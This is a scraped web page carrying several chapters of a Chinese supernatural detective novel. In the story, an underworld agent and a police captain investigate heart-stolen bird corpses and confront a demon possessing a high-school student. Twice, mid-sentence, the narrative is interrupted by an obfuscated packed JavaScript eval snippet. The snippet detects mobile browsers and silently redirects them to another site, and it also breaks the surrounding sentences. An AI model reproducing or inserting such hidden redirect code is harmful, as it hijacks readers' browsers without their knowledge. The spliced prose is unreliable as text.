凌初看着满地鸟类尸体,眉头狠狠一皱,这可不像是人和动物能干出来的事!她眼神犀利地巡视一圈,瞬间捕捉到了最后一列左数第三只鸟尸上的黑气,一个箭步踏出去,眨眼便到跟前,拿起鸟尸一闻:果然是恶鬼作祟! 王茂森站一旁都惊呆了,“凌、凌、凌顾问,你怎么过去的?”这中间好几米呢,咋就一眨眼过去了??? 陈遇和霍熹都在看鸟尸,神情专注。 好在凌初扯谎扯习惯了,当即脸不红心不跳答:“王所,我是跨过来的,以前练过跳远。” 陈遇这才分给凌初一眼,没说话,然后又低下头去。 看什么看!我这是善意的谎言。 难不成告诉他我是飘过来的? 35. 剖心之鬼 陈遇查看所有的鸟尸后,发现了一个共同点,就是所有的伤口形状基本一致,肌肉撕裂的程度都相差无几,初步断定是一人所为。 他抬头,深深地看了凌初一眼,也有可能不是“人”干的。 陈遇视线往下,看到凌初手上拎着的死鸟,应该是一只珠颈斑鸠。她特意挑出来,难道这只鸟尸有什么特别? 霍熹也检查完小麻雀的尸体,表情不太好看。 “有什么发现?”陈遇问她。 霍熹摇头,“没什么发现。伤口边缘不整齐,肌肉撕裂,无其他明显外伤。我推测嫌疑人应该是用类似爪类的东西,将小鸟身体暴力撕扯开,拿走心脏,死因是失血过多。” 她又深吸了口气,“有一些变.态,会虐杀动物,对象一般都是猫狗这类,虐杀鸟类的不多,很重要的原因就是鸟类会飞,抓捕的难度较大。” 停顿了下,霍熹真觉得百思不得其解,面露疑惑:“我很纳闷,这家伙是怎么抓到这些小鸟的?难不成他会飞?” 说完霍熹就自嘲地笑了一声,她本人都觉得这个猜测太离谱了,又不是蝙蝠侠?嫌疑人怎么可能会飞? 凌初却在想这是哪一只恶鬼?阴司的名单上可没有喜好吃心脏的恶鬼。 难道不是从十八层地狱逃出来的? 霍熹将小麻雀的尸体放回原处,然后看到凌初的动作,站住不动了。 凌初拿鸟尸的手,并没有戴手套。 那么有没有一种可能,这些鸟类尸体中,掺杂了嫌疑人的DNA? “王所长,这些鸟身上的DNA查了吗?” “啊?”鸟也需要查DNA吗?为了确定品种? 霍熹看到王茂森的反应,就知道胜利路派出所一定没有查。她转头对陈遇说:“陈队,我需要把所有死鸟,带回分局,进行DNA样本检验。” “你想试试找嫌疑人的DNA?”陈遇略一想,便明白了霍熹的用意。 “对。” “好。” 凌初放下了那只珠颈斑鸠,走过来,提出了一个非常有建设性的问题,“王所,这些鸟的尸体,都是在同一片区域发现的吧?” 王茂森用力点头,“哎对对对,这些小鸟都是在人民公园附近发现的。” 新城市人民公园,是市区最古老的公园之一。环境清幽,各种乔木、灌木数量巨多,长势喜人。公园最中间还有一片大湖,湖边长了芦苇、菖蒲一类喜水的植物,形成一个小小的湿地环境。市民们都说,这里是一个“天然氧吧”。 因此,吸引了众多鸟儿在此安家。 陈遇的思路瞬间就明朗了,既然是在人民公园附近,那就先走访下,看有没有什么异常。 于是三人兵分两路,陈遇和凌初去人民公园附近走访调查,霍熹和胜利路派出所的人逐一整理鸟尸,准备带回分局进一步检验。 其中,凌初碰过的那只珠颈斑鸠,被霍熹单独做了标记,以防混淆检验结果。 …… 人民公园附近,陈遇找了个地方停车。 两人走在人民公园的绿化道上,陈遇突然开口:“凌顾问,刚看过的鸟尸,是‘人’干的吗?” 凌初挑了挑眉,眼中不乏惊讶,不愧是刑警,这么快就发现了异常?! “不是,我在那只鸟身上,闻到了恶鬼的气息。” “那只珠颈斑鸠?”陈遇重复一遍,“是你要抓捕的恶鬼?” 凌初边走边仔细闻空气中的气息,听到陈遇问话,回道:“不是,是只陌生的鬼。” 陈遇一听,心都提了起来,连凌初都不认识的鬼,来到人间作恶,到底是为了什么? 现在目标是鸟的心脏,未来,会不会变成“人的心脏”? 这件事,要不要跟领导汇报? 陈遇所说的领导不是红旗分局魏丽局长,而是省厅一个专门跟他对接此类非正常案件的领导——东方青。 说来也奇怪得很,陈遇得知凌初真实身份的当晚,就接到了这个自称是省厅某部门领导的电话,说他是专门与人对接非正常案件的。 陈遇第一反应认为这人是个骗子,胆子还挺大,都骗到警察头上来了!他正好郁闷呢,没地方发泄,这人刚好撞枪.口上,那就别怪他不近人情了! 结果,还没开始说,对面一句话就让他闭嘴了,“陈队长,凌初的真实身份我知道。” 陈遇没说话,那人又说:“我姓东方,单名一个‘青’字,如果你不相信,可以在公安内网上查,我的警号是00XX002。” 陈遇一手握着电话,一手摸到电脑,打开了公安局系统内网,输入东方青的姓名和警号,一个年轻的青年照片跳出来,照片下方写着:东方青,三级警监,省公安厅异常管理总队队长。 因为照片上的青年实在是太年轻了,陈遇不禁开始搜索他的年龄,却毫无所获。 再者,他听说过刑事侦查总队、禁毒总队、治安管理总队,这个“异常管理总队”,啥时候有的?陈遇继续搜索“异常管理总队”,发现在整个公安系统内网中,只有四家名为“异常管理总队”的单位,分别位于华北、华南、东部和西部地区。 联系陈遇的东方青,就是位于东部地区的异常管理总队队长。 电话那头的东方青听到了敲击键盘的声音,他没有说话,安静地等陈遇确认他的身份信息。 终于,陈遇证实了东方青的身份,“东方队长,这么晚联系我,有何指教?” 东方青事无巨细地说了一大堆,并且给陈遇发过来一个莫名其妙的链接,陈遇看着字号巨大的“保密协议”标题,再度陷入怀疑,这符合公文写作规范吗?真不是刚成立的草台班子? 他半信半疑地签了名,东方青确认后便挂断电话,“晚安,陈队长,祝你好梦。” 陈遇:“……”这天都快亮了,还能做什么好梦?! “陈队,看这儿!”凌初一句话把陈遇从回忆中拉出来,他抬头看过去,是监控摄像头。 监控摄像头正对着一片杨树林,有几棵树上还发现了鸟巢,是喜鹊搭的窝! 陈遇刚想走近查看,只听凌初又说:“鸟已经没了。” “没了是什么意思?死了还是飞了?”陈遇问。 凌初借用阴差异于常人的五感,可以清晰地看到其中一个鸟窝内的残羽和血迹。 她解释:“其中一个鸟窝内有血迹和挣扎痕迹,应该是被恶鬼剖心了,没有尸体。另外几个鸟窝内,只有几支残羽,没有血迹,可能是逃走了叭。”然后视线瞥向了某处,嗯? 陈遇听后,看着那几十米外的大树,距离这么远,他5.0的视力都看不清,凌初竟然能看清楚? 凌初转头看他,似有所料道:“陈队,我可不是‘人’啊。” 万万没想到,“我不是人”这句话有一天竟然不是骂人,而是陈述事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322723|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实? 陈遇表情恢复正常,拿出手机给张小曈打了过去,电话里传来女声,“喂?” “张小曈。” “陈队,有什么指示?” “现在开始,你把人民公园周边五公里范围内的监控摄像调出来,重点排查出现在鸟窝附近的可疑人员,时间就从今天往前推,能查多久就查多久。” 听到陈遇的话,张小曈已经有点“活人微死”了。 她家大队长到底清不清楚,他说的是个多大的工程? 人民公园周边五公里,摄像头没有上百,也有八.九十,还没个截止期限。这几天她就别想回家了!直接局里打地铺算了! 没听到张小曈回复,陈遇又道:“张小曈,有问题?” “……没有。”听上去有点生无可恋。 “加班费三千。” “好的,陈队。没问题,我马上就查!”张小曈快速道,如同打了鸡血一般。 凌初很羡慕:看来有钱不止能使鬼推磨,活人也一样。 “行了,尽快查。”陈遇说完就准备挂电话,凌初一把将手机抢过去,补充道:“小曈。” “哎?凌初姐?” “是我。监控录像只查晚上的就可以,白天的不用。” “啊?这样吗?”张小曈犹豫了。 凌初对着陈遇无声道:听我的。 陈遇凑近手机,“嗯,听凌顾问的。” “好!”张小曈中气十足应了声,率先挂断电话。 “为什么?”陈遇从凌初手中抽出手机。 凌初继续往前走,“因为恶鬼虽恶,但毕竟是魂魄,无法触碰活物,除非附身于活人,这样的话,才能操纵活人身体。” 陈遇听明白了,也就是说,剖心的嫌疑人(鬼),一定是夜晚行动的,白天行动一定会泄露踪迹。 “并且,活人可是无法看到鬼魂的!”凌初语气突然加重,右手缚魂锁一甩,沉声道:“还不滚出来!” “哎呦……哎呦,大人饶命啊,小的是良民啊,只是偶然经过,并无恶意。”一只鬼魂被凌初的缚魂锁从灌木丛后揪出来。 陈遇看着空荡荡的绿化道,一时愣住。 有鬼吗? 凌初冷眼看着跪地求饶的鬼魂,抬手唤陈遇,“陈队,你过来。” 陈遇依言走到她身边,只见凌初的手在他眼前一抹,陈遇就看到了面前痛哭流涕的鬼魂,倒吸一口冷气,他以后也能见鬼了? “放心,陈队,作用就一会儿。”凌初十分善解人意,转头恶狠狠道:“小鬼,鬼鬼祟祟跟着我,想干什么?” “大人,小的真的只是偶然经过啊。” 那小鬼衣衫褴褛,不是现代的服装,有点儿像汉服,至于哪朝哪代,陈遇就认不出来了。 凌初示意陈遇问话。 “???”陈遇不懂原因但照做,刚走近鬼魂,那鬼魂便以头抢地,“大人大人,我是来检举揭发的。” “???”我还没问话呢? 听到鬼魂的话后,凌初让陈遇往后面退了几步,离这小鬼远了些。 “为什么会这样?”他不解。 凌初笑嘻嘻道:“因为你是警察,身上有‘阳煞’之气!普通鬼魂当然害怕啦!” “……呃,谢谢夸奖?” “小鬼,要检举揭发什么?” “这里有人使用邪术,召唤恶鬼上身!” 36. 妖物 “!!!” 小鬼一席话激起千层浪,凌初握住缚魂锁,将那小鬼提到眼前,“你说的是真的?在哪里?谁?” “是一个女人,就在那里。”小鬼差点儿被凌初连声质问打蒙了,伸出手颤巍巍地指了个方向。 “那是哪里?”这句话是问陈遇。 陈遇在脑海中搜寻关于这一片的记忆,片刻道:“市一中家属院。” 市一中? 祝盈安! 难道这只剖心之鬼与附身祝盈安的是同一只? 凌初满腹怀疑,找了个长椅坐下,拿出手机将上午删掉的信息再一次发给了时青寒:【小寒,你们学校有没有一个叫“祝盈安”的高一学生?】 是小寒不是大寒:【有啊,隔壁班的年级第一。】 凌初:【!!!你竟然回消息了?没上课?】 是小寒不是大寒:【……凌初姐,现在是午饭时间。】 凌初看了眼手机时间,竟没发觉都中午12点了,这一上午过得可真快。 凌初:【喔,出外勤没注意。年级第一?她在你们学校很出名?】 是小寒不是大寒:【emmm……算是吧,自从入校以来,常年霸居榜首之位。不过上次月考,不知道什么原因她的成绩下降了好多,都快倒数了!疑惑疑惑疑惑】 时青寒一连发了三个“疑惑”的小表情。 凌初几乎立刻就想到了祝盈安成绩骤然下降的原因,年级第一的学生,即使发挥失常顶多也就退步个十几名。从正数变倒数,若不是交了空白卷,就是人皮下换了“鬼”。 死了几百年的老鬼,除了那几个文科科目还能听懂些,其他科目像物理、化学,任它想破脑袋也绝对想不明白! 凌初:【小寒,她最近性格有什么变化吗?就是有没有跟以前不太一样的地方?】 时青寒坐在食堂板凳上,夹起一筷子菠萝咕咾肉,看到凌初的消息,若有所思地看向角落里独自一人吃饭的祝盈安。 变化吗?好像不多。 可能学霸们大都奇葩,有的喜欢独来独往,享受一个人的狂欢;有的偏好成群结队,呼朋唤友热闹非凡。 祝盈安就是前者,至于她自己嘛,则信奉中庸之道,不爱热闹,也不愿独行。 角落里的祝盈安似有所感,抬起头面无表情地对上了时青寒的视线,眼神平静而冷漠,仿佛一潭死水。 这跟她印象中的祝盈安,似乎有些不太一样了。 先前考试,二人座位通常是前后位。虽然没说过几句话,但祝盈安每次见到她,都会甜甜一笑,有点儿羞涩,有点儿抱歉,还有一点点几不可察的小骄傲。 谁让她时青寒是万年老二呢!每次都是以微弱的分差被压一头! 不论是羞涩还是骄傲,总之不会是现在这么冷漠的神情,祝盈安不对劲! 于是时青寒低下头,微信回复凌初。 是小寒不是大寒:【凌初姐,我觉得她好像变冷漠了,跟换了个人似的。】 凌初盯着这条消息,没回。 是小寒不是大寒:【?凌初姐,她身上是有什么问题吗?】 “听着,小寒,在学校不要跟祝盈安走太近。”凌初的声音直接在时青寒脑海里响起,筷子“当啷”一声,掉在地上。 时青寒弯腰捡起筷子,表情难以言喻,试图在脑海中回话:“凌初姐,出什么事儿了?” “我发现有活人动用邪术,此邪术能令‘人’死而复生,但极易招来恶鬼上身。”凌初严肃道。 “你怀疑祝盈安身上有恶鬼?” “不是有恶鬼。是现在的祝盈安已经不是人了,而是‘恶鬼’披了一张人皮,混迹于活人间!” 时青寒:“……太刺激了叭。” “……”凌初一时无言,这丫头怎么回事儿?我让她注意安全呢!!!脑子里记得啥??? “总之,记住我说的话,注意安全!听到没?”凌初着重道。 “知道了知道了。” “……行!这件事我会尽快处理的,你不要轻举妄动!” “好好好。” “有问题随时联系我。”凌初切断神识联系,看着一旁站着的陈遇,觉得有点好笑:“陈队,你站着不累?” “还好。怎么了?”他下巴微抬,示意凌初的手机。 凌初没说话,起身来到小鬼跟前,“你的条件是什么?” 小鬼先磕了个头,然后才说:“大人,小的想去投胎。” 凌初上下打量一番,似笑非笑开口:“怎么?孤魂野鬼做了几百年,多自由啊,如今想投胎是为何?” 小鬼讪笑:“这不是世道乱了嘛,我地盘儿都被恶鬼抢走了,实在是无处可去。” “呵!这时候想起阴司的好了?” 小鬼不发一言,面露羞愧。 “行了,给你这个,自己去城隍庙报道。”凌初手指在空中画了一个繁复的纹样,像字,又像某种图案。 小鬼大喜,双手接过,那纹样就贴在了他的掌心。 “只有一个时辰,过时不候。”凌初最后补充。 “好的好的,多谢大人,还有这位官爷!小的告辞。” “官爷”陈遇,双手抱臂倚着长椅椅背,神情无奈。 小鬼走后,凌初转身来到陈遇面前,揶揄道:“官爷,走吧,一起吃个饭?” 陈遇:“……” 两人就近在人民公园附近找了一家小店,一人一碗朝鲜面,再加一个烧饼,填饱了肚子,然后打道回府。 “凌顾问,你刚给谁发消息?”陈遇一边开车一边问。 “时青寒。” 陈遇打方向盘,转了个弯,然后才说:“那个高中生?她怎么了?” “她没事。”凌初看向窗外,“你刚也听到了小鬼的话,用人使用邪术招来恶鬼,我怀疑那人就是市一中的学生,得想办法去探查。”她转过头,“否则,会有其他人受害。” “……我知道了,市一中是吧,这件事我会想办法。” “不用了,陈队,我可以直接进学校,不会被人发现。” 陈遇深深看了一眼凌初,“凌顾问,不是说通力合作,一起守护阴阳两界安宁吗?” “行。”凌初不再说话。 两人一路沉默地回到红旗分局。 刚下车,迎面碰上三个全副武装的白大褂,站成一排,高高矮矮,跟WiFi信号似的。 凭借身高体态,陈遇轻易便认出了三个人,从高到低分别是赵凭跃、李善言、张小曈。 “你们仨站这儿干嘛?”凌初问。 李善言语气沉重:“迎接死神的来临。” 凌初、陈遇:“???” 最后赵凭跃回答:“霍法医让我们在这儿先等着,一会儿搬东西。” 至于是搬什么?她没说。但法医让搬的,能是什么好东西? “吴优和胡扬呢?”陈遇开口,这俩法医助理,不够霍熹使吗?还需要拉上他刑侦大队的人?当然,这话他也就只敢在心里吐槽下。 “他俩已经去了。”赵凭跃缓声道。 陈遇往院里车位里侧一看,果然少了一辆公务车。 “好,加油。张小曈?” “到!” “先去查监控,东西我来搬。” “好嘞!”张小曈立马脱下防护服,交给陈遇转身就跑,背影充满欢快。 李善言留下羡慕的泪水。 陈遇穿上防护服,站到李善言旁边,这下子WiFi信号变成“凹”字了。 凌初强忍着笑意回到办公室。 刚坐下识海中就传来了债主的声音,“凌初,鸟嘴的消息查到了吗?” “谢爷,这才过去一天而已。”她语气平稳,毫不心虚。 谢必安那边似乎很吵闹,叽叽喳喳的乱作一团,他十分头疼道:“那就快些去找鸟嘴!最近不知道怎么了,突然有一大批鸟魂滞留人间,她身为飞禽拘魂使,本应及时拘魂。阴司如今正是多事之秋,哪里分得出人手来管这些鸟!” “哦,这个嘛,我已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333543|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经查明白了。我待的这片区域,有一只剖心之鬼,专门剖杀鸟类,等我抓到它,事情就解决了。”凌初当即回道,“不过谢爷,名单上可没有喜欢食心的恶鬼,你听说过吗?” “剖心之鬼?”谢必安坐在无常殿内反复咀嚼这四个字,忽然想到什么,从手边抽出一本泛黄的古籍,翻了几页。 找到了! “极阴之地,有兽,状如巨鸟,叫声如婴,性凶残,喜食心,谓之‘鬼雀’。” “鬼雀,不是人?”凌初很惊讶,这个鬼雀,是什么东西? “这是传说中的一种妖物,在阴司的一本古籍中发现的,一千多年前就死绝了。食心之鬼,我只能想到鬼雀。”谢必安语气平淡,没有一丝起伏。 妖物?凌初的脸上不知该摆出什么表情来,阴司今年是惹了哪尊大神,遇到的事情一个比一个离谱,连千年之前灭绝的妖物都出来了! “好,我知道了,谢爷。多谢你指点,鸟嘴的踪迹,我会留意的。”凌初切断了与谢必安的神识联系。 “凌初姐,陈队让我查人民公园附近的监控是因为啥啊?”张小曈小声地问她。 “霍法医没跟你说?” “没啊。” 凌初忽然递过来一个饱含怜悯的眼神,神秘一笑:“马上你就知道了。”她已经闻到了血腥气,霍熹他们就快到了。 说曹操曹操到,两辆警车一前一后驶进红旗分局。 法医室的人风尘仆仆下车,打开后备箱,映入眼帘的是六个塑料收纳箱,磨砂材质,看不清里面是什么东西。 但这种塑料箱在警察看来,跟裹尸袋没什么区别。 霍熹一声令下:“人到了?刚好,一人一个,把箱子搬到法医室。”她率先搬起离她最近的箱子,往通向法医室的电梯走去。 吴优、胡扬紧随其后。 陈遇叹了口气,也上前搬了个箱子,然后是赵凭跃,最后是李善言。 塑料箱密封性一般,一股若有若无的血腥气飘散在箱子周围,所有人都屏住了呼吸。 法医室,霍熹、吴优和胡扬,将好几个桌子拼到一起,然后打开了塑料箱。 每一只小鸟尸体都用单独的物证袋包裹,依次写好了编号,按顺序排列整齐。 赵凭跃和李善言是第一次见到,下半张脸戴着口罩,唯一露出的眼睛都瞪大了,这么多小鸟尸体? 霍熹一边开仪器,一边抽空看向杵在法医室的三个“闲散人员”,“还有事儿?” 陈遇立马道:“没事,先走了,有事喊我。” 赵凭跃和李善言迎上霍熹投来的“死亡视线”,同时后退,转身,带上了法医室大门。 “这里总共八十九只鸟尸,编号1-25,吴优负责;编号26-50,胡扬负责;其余的我负责检验。” “明白,老大!”吴优和胡扬齐声道,然后低头,各自取样准备。 搬箱子的三个人出法医室第一时间,都去了卫生间,拿着香皂、洗手液搓了好几遍手。 要不是陈遇在旁边,李善言甚至想去值班室冲个澡。 赵凭跃和李善言回办公室,陈遇则去了宣传科。 “搬的啥?快说快说。”一见到赵凭跃和李善言,张小曈就迫不及待八卦起来。 李善言没吭气,赵凭跃温声道:“小鸟的尸体,大约有一百个。” “啊——”张小曈捂嘴,“什么情况?” 凌初闭眼躺在椅子上,闻言开口说道:“人民公园附近,有很多鸟儿都被剖了心,胜利路派出所上报到分局,我们早上就是去查这个的。” “剖心?咦——这凶手指定是个变.态!”张小曈鸡皮疙瘩都起来了。 “所以啊,小曈你查一下监控录像,看有没有可疑人员?” “Yes,Madam!” “???”凌初睁开眼,满脸疑惑看着她,张小曈说得是什么鸟语? 张小曈却不再看她了,聚精会神地盯着电脑屏幕里的监控录像。 她一定要抓住这个变.态! 37. 守株待鬼 一夜一天过去,张小曈、赵凭跃和李善言三个人在凌初的帮忙下看完了人民公园周边五公里范围内所有的监控录像,眼睛都快看瞎了,然而一无所获。 法医室的DNA检验也进行到了尾声,但结果并不如意,已检验过的所有鸟尸身上,并未发现人类DNA的痕迹。 案件似乎进入了僵局。 刑侦大队和法医室,气氛沉重。 凌初拖着半死不活的身体回到宿舍,刚打开门就看见一团黑影扑过来,她急急侧身,黑影一个没刹住,“砰”的一声撞到墙上! “凌初——”黑影咬牙切齿,晃悠悠站起来,甩了甩脑袋,又用喙整理了下凌乱的鸟羽,转身走回房间。 “……”凌初在鸟嘴进来后关上门,整个人瘫坐到沙发上,眼神空洞地盯着天花板。 想她在阴司也没这么起早贪黑地干过活! 鸟嘴“咻”一下蹦上沙发,歪着脑袋观察,突然道:“凌初,你这仿佛被人吸干精.气的死样是怎么回事?祝盈安身上的那只恶鬼调查清楚了吗?两千金元宝我已经给你了,别想赖账啊?!” 凌初转头,刚好与鸟嘴的豆子眼对上,她又撇过头,“知道了,鸟嘴大人。” “喂!你好好回答,我已经收到三封谢必安的信了。也不知道是什么要紧情况,值得他一催再催?” 凌初腾地坐起来,诧异万分:“鸟嘴大人,你没感受到?” “什么?” 凌初又仔仔细细将昨天上午发现的剖心鸟尸给鸟嘴说了一遍,而后目光殷切地看着她,希望能得到些提示。 “……”鸟嘴无言,思索片刻后,用鸟爪在沙发上画了一个阵法,她的周身涌起金光,金光消散后,一位身着五彩衣裙的女人端坐在凌初身侧。 没等凌初说话,鸟嘴先冲她“嘘”了一声,敛眉回道:“谢大人,我在。” 凌初识趣地闭上了嘴,哦,她这是在给白无常回信,这么快就决定回阴司了? “我知道了,此事我会妥善处理。”鸟嘴点头,然后看向了凌初。 “鸟嘴大人,你怎么能恢复人身?我记得豹尾大人说法力被封,在人间只能维持兽形。” “那是他学艺不精。”鸟嘴神色淡淡。她起身走到阳台上,视线看向远处,一张姣好的芙蓉面上浮现出一抹忧伤,可怜的鸟儿啊—— ???凌初很意外化作人形的鸟嘴竟然是这种忧郁美人的样子,跟她原型可大不一样。 “凌初,我要去把这些惨死的鸟魂带回阴司,别忘了你答应我的事情。”鸟嘴说完后,纵身从窗边一跃而下。 “!!!”不是,鬼不可貌相!话说得好好的,怎么说跳楼就跳楼! 凌初一个箭步冲过去,只见鸟嘴先是以很快的速度朝下方坠去,即将落地时,她双手一拂,整个人就轻轻落在了地上,看一眼凌初后便往远处走了。 幸好是深夜,无人看见。要是大白天跳楼,被活人看到那还了得? 原来她化为原型是为了封印自己的力量,怪不得从那神秘的鸟笼出来后,阴司仍联系不到她。 如此又过一夜。 次日上班,凌初到了分局,却发现宣传科的同事们在往外搬东西,仔细一看是一些文具、警察玩偶、书籍一类的小东西,她随机拦住一个人,“小杨,这是要去干什么?” 小杨正哼哧哼哧搬东西,突然被人拦下十分不爽,正准备骂人,一抬头见是凌初,立马变了脸,笑着道:“哦,凌顾问啊。我们宣传科一会儿去市一中做个讲座,关于青少年犯罪心理的,你们刑侦大队不是也去?陈队没跟你们说?” 青少年犯罪心理讲座?陈遇这么快就想到去市一中的办法了?! 凌初往左走一步,让开了路,“这样啊,陈队可能一会儿告诉大家吧。” 小杨端起玩偶箱子,无所谓道:“没事没事,你们也不用准备啥,就凑个人头,主角是我们宣传科嘿嘿嘿……” “……厉害厉害。”凌初竖起大拇指。 一转身,就看到陈遇站在办公室门口。 凌初直勾勾盯着陈遇,他今日与平常不太一样,特地穿了藏蓝色的警察制服,左手端着警帽,脚踩皮鞋,给人一种扑面而来的庄严气质。 啧,换了身衣服就是不一样!凌初暗自点评,走到陈遇面前,明知故问道:“陈队这是要干嘛去?” 陈遇抬手理了理领带,戴上警帽,朗声回答:“新城市第一中学。走吧,凌顾问?” 凌初看了样端坐在位子上不动的张小曈和赵凭跃,指了指陈遇和自己,“就我们俩人去吗?” 陈遇已经大步往门外走了,“还有一个苦力。” 李善言气喘吁吁跑进分局大门,刚进来就站住不动了,不是,怎么一堆人在院儿里?他心虚地看过来,偷偷观察起陈遇的表情。 急!在线等,被领导亲手抓包上班迟到怎么办? “喏,苦力来了。”陈遇语调平稳,一点也没有要发作的样子。 李善言松了口气,正准备朝二人走过来,半路就被小杨截住,哥俩好似的将人拖走,“兄弟你可来了,赶快帮忙搬东西!九点半要到市一中,可不能迟到啊!” “???”完全没明白过来发生了什么的陈遇就这样被小杨拖走。 直到坐上了车,李善言才弄清楚是去市一中做讲座。 做讲座可以,但他为什么要跟凌初和陈遇一起坐在后排?!左边是凶名在外的阴差,右边是一丝不苟的顶头上司,中间夹着弱小可怜的他如坐针毡! 前面负责开车的司机被李善言苦大仇深的表情逗乐了,嘴角一路都翘着,这李警官可真是局里一大活宝。 李善言:“……” 好不容易捱到目的地,车子刚停,李善言立刻道:“王哥王哥,快开锁,我要下车!”他快喘不过气了! 车门开锁,凌初和陈遇一左一右,同时开门下车,转眼后排就只剩下李善言孤零零一个人。 开车的王哥扭过头,笑嘻嘻看着他:“不是要下车?” 李善言:“……”哥,你太坏了! 他和陈遇一样从右边下了车,绕过车头来到副驾,抱起那一大箱子的警察玩偶,看着前面并肩走进市一中校园大门的两人,重重叹气:“唉——” 陈遇已经和凌初说起他的初步想法,“首先宣传科的同事们会先给高一全体学生们做一个讲座,然后再分班进行一个心理测评检测,每个班级两人,我们两个负责祝盈安所在的班级。 心理测评有专门的问卷,让学生们填就行。每个学生依次进入测评室,这样可以将祝盈安与其他同学隔开,凌顾问,你还有什么补充?” 凌初很惊讶,短短的时间内陈遇就将所有事情安排完毕,并且井井有条,闻言摇头:“没有了。不过我有一个疑问?” “什么?” “你是怎么跟宣传科说的?突然去学校搞讲座,不会引起怀疑吗?” “分局每年都会举办几次公益活动,只不过这次提前了,我是帮助他们完成KPI,他们谢我还来不及呢。”陈遇脸上扬起志在必得的笑容,十分自信。 原来如此。 到一中的时候正是课间,同学们大都在室外活动,猛地看见一群警察进入校园,一时间都争先恐后涌到了回廊边,满眼好奇地看着他们,同时窃窃私语。 “哇,警察怎么到我们学校来了?” “难道有命案发生?没听说啊。” “你看你看,那个警察好高好帅!” “切!女生就是肤浅!只会看脸!” “呵!男生就是普信,普通且自信!” “……” 一中教学楼不高,只有五层,整体呈回字形。一层是高三,二层是高二,三层是高一,四层和五层是一些生化实验室、美术室、音乐室等室内活动的教室,此外还有单独的礼堂、食堂、宿舍、室内体育馆以及操场。 教学楼中间是一个小花园,种满了花草,凌初走进花园,一抬头便对上了三楼时青寒炯炯有神的目光。 时青寒拿手敲击太阳穴,“凌初姐,你来抓祝盈安?” “错!我来抓的是恶鬼! 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“祝盈安”转身,双目漆黑,淡漠地注视着二人。 “恶鬼,我可恭候你多时了——” 38. 真身 “恶鬼,我可恭候你多时了——” 凌初说完,缚魂锁便劈了过去! 陈遇及时退到角落,给凌初让出打架的空间,同时右手摸上了后腰的枪械。 早上他申请配.枪时,负责人员非常震惊,“去学校做讲座也要配.枪吗?有这么危险?” 陈遇随口糊弄过去:“以防万一。” 负责人这才在申请书上签了字,给了他配.枪和子弹,“小心点儿啊,少一颗子弹就是一篇情况说明。” “……知道了。” 陈遇不知道现代热武器是否对鬼魂有用,但他能给凌初提供帮助的暴.力手段,也只有这个了。 “祝盈安”侧身一让,缚魂锁巨大的力量砸向房门,厚重的木门“咔嚓”裂开,她迅速后退转身,一跃而下,落到体育馆中间空旷的场地。 凌初紧随其后,撑着栏杆从二楼翻越而下。 陈遇跑到栏杆边,看着将近四米的高度,无奈地转身朝楼梯口奔去,一步并做两步,“噔噔噔”下楼。 那神秘恶鬼借“祝盈安”之口,用森冷的声音对着凌初道:“阴司的小鬼,莫要多管闲事!” “哼!”凌初冷哼,动作不停,缚魂锁再次向“祝盈安”袭去! 两“人”之间的距离由远及近,拳拳到肉。 凌初一边打架,一边心惊,这只恶鬼到底什么来历,修为竟如此高深,与她打得有来有回。 “咚!”恶鬼和凌初同时被一股巨力掀翻,凌初的身体不受控制地撞上篮球架,钢铁制成的篮球架瞬间就变了形,以扭曲的姿态离开原地,倒在场馆一侧。 凌初站起身,拍拍身上的尘土,提着缚魂锁跟“祝盈安”相对而立。 一楼楼梯口,陈遇刚刚跑下来,微微喘气。 “祝盈安”头一转,看到了他,勾起一个十分邪恶的笑容,手一伸,一股浓重如墨的黑气飞快地朝陈遇而来。 “靠!”凌初骂出声,缚魂锁无限延长,在那黑气到来之前,卷上了陈遇的腰腹,扯向自己的方向,“来!” 空门大开,“祝盈安”没有放过这个机会,另一只手用黑气凝出一柄匕首,直插凌初心脏而来。 “噗呲”,黑气凝成的匕首穿胸而过,凌初神魂震荡,用力将缚魂锁另一头的陈遇甩到看台上,然后身体才软软倒下。 “凌初——”陈遇惊呼出声,音调嘶哑,就像声带被撕裂一般,整个体育馆都充斥着破碎的回音。 “嘻嘻!”“祝盈安”笑出声,以一种高高在上且怜悯的目光看向陈遇,“凡人,可惜了,你要死在一只鬼手里。” 只见“祝盈安”她凭空伸出手,远在看台的陈遇顿时被一股黑气掐着脖子提起来,他的手艰难摸向后腰,打开了枪.套,颤抖着举起枪,瞄准“祝盈安”。 “砰——”枪声响,子弹射.出,嗖的一下,越过祝盈安,击中了她身后的墙壁,留下焦黑的圆形印记。 打偏了! 陈遇的脸色因为缺氧涨得通红,额头青筋迸发,他双手发抖,尝试着再次举起枪。 “不自量力!”恼怒的“祝盈安”讥讽道。手指用力一握,作势要扭断陈遇的脖颈。 说时迟那时快,体育馆内不知从哪里传来念咒的低语,“祝盈安”脚下有一道圆形的符文闪现。 女声的低语还在继续,那符文有金光流动,同时散发出灼烧的热意,忽的一下,燃起熊熊火焰,“祝盈安”伸出的手臂被烫到,掐着陈遇脖颈的黑气,瞬间收回。 陈遇摔倒在看台上,“呼——呼——”他大口呼吸,剧烈地喘着气。缓过来后抬起昏沉沉的头,看着“祝盈安”周遭的一圈烈火。 是谁? 